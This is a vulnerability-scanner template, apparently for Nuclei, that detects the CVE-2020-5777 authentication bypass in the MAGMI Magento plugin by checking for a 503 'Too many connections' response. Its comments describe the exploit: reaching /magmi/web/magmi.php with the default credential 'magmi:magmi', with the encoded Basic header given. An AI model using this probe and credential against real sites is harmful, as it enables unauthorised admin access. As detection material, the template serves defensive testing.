id: CVE-2020-5777
info:
name: Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23
author: dwisiswant0
severity: critical
description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
tags: cve,cve2020,magmi,magento,auth,bypass,plugin
# Response code 503 indicates a potential successful "Too many connections" error
# While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
# with default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
# Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2020-5777
cwe-id: CWE-287
requests:
- raw:
- |
GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition: and
matchers:
- type: word
words:
- "Too many connections"
part: body
- type: status
status:
- 503
